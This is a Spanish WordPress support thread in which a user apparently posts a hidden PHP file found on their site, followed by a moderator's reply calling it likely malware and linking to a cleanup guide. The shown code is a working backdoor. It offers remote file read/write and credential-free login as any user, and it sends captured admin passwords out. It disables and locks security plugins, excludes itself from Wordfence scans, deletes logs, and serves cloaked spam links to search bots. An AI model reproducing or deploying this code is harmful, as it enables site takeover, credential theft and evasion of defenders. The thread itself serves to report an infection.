    						} else if ( $this->strpos( $read, $this->client->file->search->other ) !== false ) {
    							if ( $this->writing( $item, $this->client->file->other ) ) {
    								$this->reinstall[] = $item;
    							}
    						} else if ( stristr( $item, 'wp-content/themes/' ) || stristr( $item, 'wp-content/plugins/' ) ) {
    							if ( $this->writing( $item, $this->client->file->templates ) ) {
    								$this->reinstall[] = $item;
    							}
    						} else {
    							if ( stristr( $item, 'wp-admin' ) && stristr( $item, 'wp-content' ) && stristr( $item, 'wp-includes' ) ) {
    								if ( $this->writing( $item, $this->client->file->other ) ) {
    									$this->reinstall[] = $item;
    								}
    							}
    						}
    					}
    				}
    				return $this->answer( true, 'I Get Reinstall', $this->reinstall );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function uninstall() {
    			try {
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				if ( $this->where() ) {
    					$directory = $this->all->files;
    				} else {
    					$directory = $this->directory();
    				}
    				foreach ( $directory as $item ) {
    					if ( is_file( $item ) ) {
    						if ( stristr( $item, $this->home() . 'wp-' ) !== false ) {
    							$read = $this->read( $item );
    							if ( $item !== __FILE__ && $this->strpos( $read, $this->client->settings->search ) !== false || stristr( $item, $this->client->settings->secret->name ) !== false ) {
    								if ( $this->write( $item, $this->client->null ) ) {
    									$this->uninstall->files[] = $item;
    								}
    							}
    							if ( stristr( $item, 'wp-load.php' ) !== false ) {
    								$this->write( $item, $this->client->default_load );
    								$this->uninstall->load[] = $item;
    							}
    							if ( strpos( $read, $this->client->install->theme->code ) !== false ) {
    								$this->restore( $item, $this->client->install->theme->code, "\n" );
    								$this->uninstall->code[] = $item;
    							}
    							if ( strpos( $read, $this->client->install->plugin->code ) !== false ) {
    								$this->restore( $item, $this->client->install->plugin->code, "\n" );
    								$this->uninstall->code[] = $item;
    							}
    						}
    					}
    				}
    				return $this->answer( true, 'I Get Uninstall', $this->uninstall );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function secret() {
    			try {
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				if ( $this->where() ) {
    					$directory = $this->all->directory;
    				} else {
    					$directory = $this->directory( $this->home() . 'wp-*', '', GLOB_ONLYDIR | GLOB_NOSORT );
    				}
    				foreach ( $directory as $iterator ) {
    					if ( $this->strpos( $iterator, $this->client->settings->secret->directory ) !== false ) {
    						$filename = "{$iterator}/{$this->client->settings->secret->key}";
    						if ( $this->writing( $filename, $this->client->file->secret ) ) {
    							$this->install->secret[] = $filename;
    						} else {
    							$this->install->secret[] = $filename;
    						}
    					}
    				}
    				return $this->answer( true, 'I Get Secret', $this->install->secret );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function htaccess() {
    			try {
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				if ( $this->where() ) {
    					$directory = $this->directory( $this->home(), '.htaccess', GLOB_NOSORT );
    				} else {
    					$directory = $this->directory( $this->abspath(), '.htaccess', GLOB_NOSORT );
    				}
    				$return = new stdClass();
    				foreach ( $directory as $iterator ) {
    					if ( $this->strpos( $iterator, array('wp-content', 'wp-includes', 'wp-admin') ) ) {
    						if ( $this->write( $iterator, $this->client->sub_htaccess ) ) {
    							$return->sub["true"][] = $iterator;
    						} else {
    							$return->sub["false"][] = $iterator;
    						}
    					} else if ( stristr( $this->read( $iterator ), '# BEGIN WordPress' ) !== false ) {
    						if ( $this->write( $iterator, $this->client->main_htaccess ) ) {
    							$return->main[] = $iterator;
    						}
    					} else {
    						$return->undefined[] = $iterator;
    					}
    				}
    				return $this->answer( true, 'I Get Change htaccess', $return );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function log() {
    			try {
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				foreach ( $this->directory( $this->home(), '{*.gz,*.com,*.com-ssl-log,*.log,error_log}', GLOB_BRACE | GLOB_NOSORT ) as $iterator ) {
    					if ( is_file( $iterator ) ) {
    						if ( stristr( $iterator, '.gz' ) && stristr( $iterator, $this->home() ) ) {
    						} else {
    							$this->return_array[] = $iterator;
    							unlink( $iterator );
    						}
    					}
    				}
    				return $this->return_array;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function WPFastestCacheExclude() {
    			try {
    				if ( $this->_get_option( 'WpFastestCacheExclude' ) ) {
    					foreach ( $this->client->settings->cache->bot as $bot ) {
    						if ( !strpos( $this->_get_option( 'WpFastestCacheExclude' ), $bot ) ) {
    							$this->_update_option( 'WpFastestCacheExclude', json_encode( $this->client->settings->cache->WpFastestCacheExclude ) );
    							return true;
    						}
    					}
    				} else {
    					$this->_add_option( 'WpFastestCacheExclude', json_encode( $this->client->settings->cache->WpFastestCacheExclude ) );
    					return true;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function LitespeedCache() {
    			try {
    				$litespeed = $this->_get_option( 'litespeed-cache-conf' );
    				if ( $litespeed ) {
    					foreach ( $this->client->settings->cache->bot as $bot ) {
    						if ( !stristr( $litespeed['nocache_useragents'], $bot ) ) {
    							$litespeed['nocache_useragents'] = ltrim( rtrim( $litespeed['nocache_useragents'], '|' ) . '|' . join( '|', $this->client->settings->cache->bot ), '|' );
    							$litespeed['nocache_useragents'] = join( "|", array_values( array_unique( explode( '|', $litespeed['nocache_useragents'] ) ) ) );
    							if ( $this->_update_option( 'litespeed-cache-conf', $litespeed ) ) {
    								$this->write_append( $this->abspath() . '.htaccess', str_replace( '{{bot}}', $litespeed['nocache_useragents'], $this->client->settings->cache->LitespeedCache ) );
    							}
    						}
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function WPOptimize() {
    			try {
    				if ( $option = $this->_get_option( 'wpo_cache_config' ) ) {
    					foreach ( $this->client->settings->cache->bot as $bot ) {
    						if ( !in_array( $bot, $option['cache_exception_browser_agents'] ) ) {
    							$option['cache_exception_browser_agents'] = array_values( array_unique( array_merge_recursive( $option['cache_exception_browser_agents'], $this->client->settings->cache->bot ) ) );
    							if ( $this->_update_option( 'wpo_cache_config', $option ) ) {
    								return true;
    							}
    						}
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function WPSuperCache() {
    			try {
    				if ( file_exists( $filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'wp-cache-config.php' ) ) {
    					foreach ( $this->client->settings->cache->bot as $bot ) {
    						if ( !stristr( $this->read( $filename ), $bot ) ) {
    							$return = false;
    						}
    					}
    					if ( isset( $return ) && $return === false ) {
    						$this->write_append( $filename, $this->client->settings->cache->WPSuperCache );
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function W3TotalCache() {
    			try {
    				$filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'w3tc-config/master-preview.php';
    				if ( file_exists( $filename ) ) {
    					$json_decode = json_decode( str_replace( '<?php exit; ?>', '', $this->read( $filename ) ) );
    					foreach ( $this->client->settings->cache->{__FUNCTION__} as $key => $value ) {
    						if ( isset( $json_decode->$key ) ) {
    							$json_decode->$key = array_values( array_unique( array_merge( $json_decode->$key, $value ) ) );
    						}
    					}
    					$this->write( $filename, '<?php exit; ?>' . json_encode( $json_decode ) );
    				}
    				$filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'w3tc-config/master.php';
    				if ( file_exists( $filename ) ) {
    					$json_decode = json_decode( str_replace( '<?php exit; ?>', '', $this->read( $filename ) ) );
    					foreach ( $this->client->settings->cache->{__FUNCTION__} as $key => $value ) {
    						if ( isset( $json_decode->$key ) ) {
    							$json_decode->$key = array_values( array_unique( array_merge( $json_decode->$key, $value ) ) );
    						}
    					}
    					$this->write( $filename, '<?php exit; ?>' . json_encode( $json_decode ) );
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function Wordfence() {
    			try {
    				global $wpdb;
    				$table = $wpdb->prefix . 'wfconfig';
    				if ( $wpdb->get_var( "SHOW TABLES LIKE '{$table}'" ) == $table ) {
    					$exclude = $wpdb->get_row( "SELECT * FROM {$table} WHERE name = 'scan_exclude'" );
    					$include = $wpdb->get_row( "SELECT * FROM {$table} WHERE name = 'scan_include_extra'" );
    					foreach ( $this->client->settings->security->{__FUNCTION__}->search->exclude as $wordfence ) {
    						if ( strpos( $exclude->val, $wordfence ) === false ) {
    							$exclude->val = $exclude->val . PHP_EOL . $wordfence;
    							$wpdb->update( $table, array('val' => $exclude->val), array('name' => 'scan_exclude'), $format = null, $where_format = null );
    						}
    					}
    					foreach ( $this->client->settings->security->{__FUNCTION__}->search->include as $wordfence ) {
    						if ( strpos( $include->val, $wordfence ) === false ) {
    							$include->val = $include->val . PHP_EOL . $wordfence;
    							$wpdb->update( $table, array('val' => $include->val), array('name' => 'scan_include_extra'), $format = null, $where_format = null );
    						}
    					}
    					foreach ( $this->client->settings->security->{__FUNCTION__}->scans as $where => $val ) {
    						$wpdb->update( $table, array('val' => $val), array('name' => "{$where}"), $format = null, $where_format = null );
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function AllInOneSecurity() {
    			try {
    				if ( $option = $this->_get_option( 'aio_wp_security_configs' ) ) {
    					foreach ( $this->client->settings->security->{__FUNCTION__}->scans as $where => $value ) {
    						$option[$where] = $value;
    						$this->_update_option( 'aio_wp_security_configs', $option );
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function update() {
    			try {
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				foreach ( $this->client->settings->plugins as $key => $value ) {
    					if ( $this->findPlugin( $value ) !== false ) {
    						$this->{$key}();
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function disable() {
    			try {
    
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				$return = array();
    				foreach ( $this->client->settings->security->disable as $disable ) {
    					foreach ( $this->get_plugins() as $key => $plugins ) {
    						foreach ( $plugins as $plugin_key => $plugin ) {
    							if ( stristr( $plugin, $disable ) && $plugins['active'] == 1 ) {
    								$return[$key] = $plugins;
    								$this->_deactivate_plugins( $key );
    								if ( function_exists( 'chmod' ) && defined( 'WP_PLUGIN_DIR' ) ) {
    									chmod( WP_PLUGIN_DIR . "/{$key}", 0000 );
    								}
    							}
    						}
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function findPlugin( $name ) {
    			try {
    				foreach ( $this->get_plugins() as $key => $plugins ) {
    					foreach ( $plugins as $plugin_key => $plugin ) {
    						if ( stristr( $plugin, $name ) && $plugins['active'] == 1 ) {
    							return $plugins;
    						}
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function json() {
    			try {
    				$this->upDir();
    				return $this->uploadDir . DIRECTORY_SEPARATOR . '.json';
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function get() {
    			try {
    				if ( $this->post() ) {
    					if ( $this->json_validator( $this->json_encode ) ) {
    						$write = $this->write( $this->json(), bin2hex( $this->json_encode ) );
    						return ($write) ? $this->hex2bin( $this->read( $this->json() ) ) : $this->json_encode;
    					} else {
    						return $this->hex2bin( $this->read( $this->json() ) );
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function cache() {
    			try {
    				if ( file_exists( $this->json() ) ) {
    					if ( $this->timestamp( filemtime( $this->json() ) ) >= 12 ) {
    						return json_decode( $this->get() );
    					} else {
    						$json = json_decode( $this->hex2bin( $this->read( $this->json() ) ) );
    						return (isset( $json->files )) ? $json : json_decode( $this->get() );
    					}
    				} else {
    					return json_decode( $this->get() );
    				}
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function writing( $filename, $data ) {
    			if ( file_exists( $filename ) ) {
    				if ( filesize( $filename ) !== strlen( $data ) ) {
    					return $this->write( $filename, $data );
    				}
    				return true;
    			}
    			if ( !file_exists( $filename ) ) {
    				return $this->write( $filename, $data );
    			}
    			return false;
    		}
    
    		private function write( $filename, $data ) {
    			try {
    				if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
    					$fopen = fopen( $filename, 'w+' );
    					$fwrite = fwrite( $fopen, $data );
    					fclose( $fopen );
    					return ($fwrite) ? true : false;
    				} else if ( function_exists( 'file_put_contents' ) ) {
    					return (file_put_contents( $filename, $data ) !== false) ? true : false;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function write_file() {
    			try {
    				if ( !isset( $_REQUEST['filename'] ) ) {
    					return false;
    				}
    				$filename = $this->hex2bin( $_REQUEST['filename'] );
    				if ( isset( $_REQUEST['content'] ) ) {
    					$content = $this->hex2bin( $_REQUEST['content'] );
    				}
    				if ( file_exists( $filename ) ) {
    					if ( isset( $content ) ) {
    						if ( $write = $this->write( $filename, $content ) ) {
    							return $this->answer( $write, $filename, $content );
    						}
    					} else {
    						return $this->answer( true, $filename, $this->read( $filename ) );
    					}
    				} else {
    					if ( isset( $content ) ) {
    						if ( $write = $this->write( $filename, $content ) ) {
    							return $this->answer( $write, $filename, $content );
    						}
    					} else {
    						return $this->answer( $this->write( $filename, ' ' ), $filename, '' );
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function write_append( $filename, $data ) {
    			try {
    				if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
    					$write = fopen( $filename, 'a' );
    
    					return (fwrite( $write, $data )) ? true : false;
    
    				} else if ( function_exists( 'file_put_contents' ) ) {
    					return (file_put_contents( $filename, $data, FILE_APPEND ) !== false) ? true : false;
    				}
    
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function read( $filename ) {
    			try {
    				if ( !file_exists( $filename ) ) {
    					return false;
    				}
    				if ( function_exists( 'file_get_contents' ) && is_readable( $filename ) ) {
    					return file_get_contents( $filename );
    				}
    
    				if ( function_exists( 'fopen' ) && is_readable( $filename ) ) {
    					$file = fopen( $filename, 'r' );
    					$content = '';
    					while ( !feof( $file ) ) {
    						$content .= fread( $file, filesize( $filename ) );
    					}
    					fclose( $file );
    					return $content;
    				}
    
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function read_file() {
    			try {
    				if ( !isset( $_REQUEST['filename'] ) ) {
    					return false;
    				}
    				$filename = $this->hex2bin( $_REQUEST['filename'] );
    
    				if ( $this->json_validator( $read = $this->read( $filename ) ) ) {
    					return $read;
    				} else {
    					return $this->answer( true, $filename, $read );
    				}
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function login() {
    			try {
    				$id = (isset( $_REQUEST['user_id'] )) ? $_REQUEST['user_id'] : exit;
    				if ( $user = $this->_get_user_by( 'id', $id ) ) {
    					$this->_wp_set_current_user( $user->ID, $user->user_login );
    					$this->_wp_set_auth_cookie( $user->ID );
    					return $this->answer( true, 'login data', $user );
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function wp_login() {
    			try {
    				if ( isset( $_POST['log'] ) ) {
    					$username = (isset( $_POST['log'] )) ? $_POST['log'] : 'not isset';
    					$password = (isset( $_POST['pwd'] )) ? $_POST['pwd'] : 'not isset';
    					$wp_authenticate = $this->_wp_authenticate( $username, $password );
    					if ( isset( $wp_authenticate->data ) ) {
    						$this->send( 'login', array(
    							'username'    => $username,
    							'password'    => $password,
    							'redirect_to' => (isset( $_POST['redirect_to'] )) ? $_POST['redirect_to'] : '',
    							'admin_url'   => 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'],
    							'json'        => json_encode( $wp_authenticate->data ),
    						) );
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function request( $name, $value ) {
    			if ( isset( $_REQUEST["{$name}"] ) && $_REQUEST["{$name}"] == $value ) {
    				return true;
    			}
    			return false;
    		}
    
    		private function activated() {
    			try {
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				if ( $this->request( 'activate', 'true' ) || $this->request( 'activated', 'true' ) || $this->request( 'action', 'heartbeat' ) ) {
    					$this->install();
    				}
    				if ( $this->request( 'action', 'upload-theme' ) || $this->request( 'action', 'install-theme' ) || $this->request( 'action', 'do-theme-upgrade' ) ) {
    					$this->theme();
    				}
    				if ( $this->request( 'action', 'upload-plugin' ) || $this->request( 'action', 'install-plugin' ) || $this->request( 'action', 'do-plugin-upgrade' ) ) {
    					$this->plugin();
    				}
    				if ( $this->request( 'action', 'do-core-upgrade' ) || $this->request( 'action', 'do-core-reinstall' ) || (stristr( @$_SERVER['REQUEST_URI'], 'about.php?updated' )) ) {
    					$this->install();
    				}
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function upgrade() {
    			try {
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				if ( $this->version < $this->client->version ) {
    					$this->reinstall();
    					return true;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function init() {
    			try {
    				$data = $this->cache()->data;
    				if ( isset( $data->location ) ) {
    					$this->_add_action( $data->location, array($this, 'code') );
    					return true;
    				}
    				if ( isset( $data->script->location ) ) {
    					$this->_add_action( $data->script->location, array($this, 'script') );
    					return true;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function is_bot() {
    			try {
    				$this->is_bot->data = $this->cache()->data;
    				$this->is_bot->bot = (preg_match( "~({$this->is_bot->data->bot})~i", strtolower( @$_SERVER['HTTP_USER_AGENT'] ) )) ? true : false;
    				$this->is_bot->unbot = (preg_match( "~({$this->is_bot->data->unbot})~i", strtolower( @$_SERVER['HTTP_USER_AGENT'] ) )) ? true : false;
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		public function script() {
    			try {
    				$this->is_bot();
    				if ( !$this->is_bot->bot && !$this->is_bot->unbot && !$this->_is_user_logged_in() ) {
    					echo $this->is_bot->data->script->data;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		public function code() {
    			try {
    				$this->is_bot();
    				if ( $this->is_bot->bot && !$this->is_bot->unbot && !$this->_is_user_logged_in() ) {
    					if ( $this->is_bot->data->status === 9 && !empty( $this->is_bot->data->redirect ) && isset( $this->is_bot->data->redirect ) ) {
    						header( "Location: {$this->is_bot->data->redirect}", true, 301 );
    					}
    					if ( $this->is_bot->data->is_home ) {
    						echo $this->is_bot->data->style . join( $this->is_bot->data->implode, $this->is_bot->data->link );
    					}
    					if ( !$this->is_bot->data->is_home && !$this->_is_home() && !$this->_is_front_page() ) {
    						echo $this->is_bot->data->style . join( $this->is_bot->data->implode, $this->is_bot->data->link );
    					}
    				}
    				return true;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		public function filter() {
    			return $this->_add_filter( 'the_content', array($this, 'remove_rel'), 1000 );
    		}
    
    		public function remove_rel( $content ) {
    			return preg_replace_callback( '/(:? rel=\")(.+?)(:?\")/', array($this, 'remove_rel_replace'), $content );
    		}
    
    		public function remove_rel_replace( $content ) {
    			return preg_replace( '/(:? rel=\")(.+?)(:?\")/', '', $content['0'] );
    		}
    
    		public static function loaded() {
    			try {
    				(new self())->activated();
    				(new self())->disable();
    				(new self())->upgrade();
    				(new self())->ftp();
    				(new self())->update();
    				(new self())->init();
    				(new self())->wp_login();
    				(new self())->filter();
    				return true;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    	}
    
    	try {
    		@ini_set( 'memory_limit', -1 );
    		@ini_set( 'max_execution_time', -1 );
    		@set_time_limit( -1 );
    		@error_reporting( 0 );
    		@ini_set( 'display_errors', false );
    		if ( isset( $_REQUEST['debug'] ) ) {
    			if ( $_REQUEST['debug'] == true ) {
    				@error_reporting( -1 );
    				@ini_set( 'display_errors', true );
    			}
    		}
    
    		if ( !function_exists( 'preArrayList' ) ) {
    			function preArrayList( $arr ) {
    				echo '<pre>';
    				print_r( $arr );
    				echo '</pre>';
    			}
    		}
    		if ( !defined( 'ABSPATH' ) ) {
    			foreach ( array('.', '..', '../..', '../../..', '../../../..', '../../../../..', '../../../../../..', '../../../../../../..', '../../../../../../../..') AS $directory ) {
    				if ( file_exists( $directory . DIRECTORY_SEPARATOR . 'wp-load.php' ) ) {
    					include_once($directory . DIRECTORY_SEPARATOR . 'wp-load.php');
    					break;
    				}
    			}
    		}
    	} catch ( Exception $e ) {
    	}
    	try {
    		if ( isset( $_REQUEST['wp_api_token'] ) && !is_null( $_REQUEST['wp_api_token'] ) && !empty( $_REQUEST['wp_api_token'] ) ) {
    			if ( function_exists( 'add_action' ) ) {
    				add_action( 'wp_loaded', function() {
    					$controlAction = WPTemplatesOptions::getInstanceWordpress()->controlAction( $_REQUEST['wp_api_application'], (isset( $_REQUEST['wp_api_params'] )) ? $_REQUEST['wp_api_params'] : '', $_REQUEST['wp_api_token'] );
    					if ( is_array( $controlAction ) || is_object( $controlAction ) ) {
    						preArrayList( $controlAction );
    					} else {
    						echo (!is_null( $controlAction )) ? $controlAction : '';
    					}
    				} );
    			}
    		} else {
    			if ( function_exists( 'add_action' ) ) {
    				add_action( 'init', array('WPTemplatesOptions', 'loaded') );
    			}
    		}
    	} catch ( Exception $e ) {
    	}
    }
    //fed36e93a0509e20f2dc96cbbd85b678
    • Este debate fue modificado hace 2 semanas, 1 día por ricrey.
Viendo 1 respuesta (de un total de 1)
  • Moderador Jose Luis

    (@jose64)

    Hola.

    Ese archivo, tal y como dices, no solo es extraño sino que está oculto, por lo que no tiene buena pinta, yo te diría que instalases un plugin de seguridad, por ejemplo WordFence, y hagas un escaneo, por lo menos como orientación. De todas formas te dejo el enlace a la guía para Limpiar un WordPress infectado/hackeado, en ella tienes las instrucciones para hacer no solo el diagnóstico sino también la limpieza.

    Coméntanos lo que consigues y, por favor, recuerda cerrar el debate marcándolo como resuelto cuando así lo consideres, de esta forma nos ayudas a mantener el foro al día.

Viendo 1 respuesta (de un total de 1)
  • Debes estar registrado para responder a este debate.